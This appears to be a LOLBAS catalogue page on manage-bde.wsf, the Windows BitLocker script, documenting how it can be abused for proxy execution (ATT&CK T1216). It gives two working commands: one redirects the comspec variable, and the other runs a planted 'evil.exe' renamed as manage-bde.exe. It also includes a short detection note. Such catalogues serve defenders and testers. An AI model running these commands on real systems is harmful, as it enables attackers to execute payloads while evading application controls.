LOLBAS. GitHub
LIVING OFF THE LAND / OS SCRIPTS

Manage-bde.wsf

View source

Script for managing BitLocker

Execute
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1216

Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.

COMMAND
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
USE CASE
Proxy execution from script
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1216

Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.

COMMAND
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
USE CASE
Proxy execution from script
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
02 / ON DISK

Known paths

C:\Windows\System32\manage-bde.wsf
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Manage-bde.wsf should not be invoked by a standard user under normal situations

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Jimmy@bohops
Daniel Bohannon@danielbohannon
John Lambert@JohnLaTwC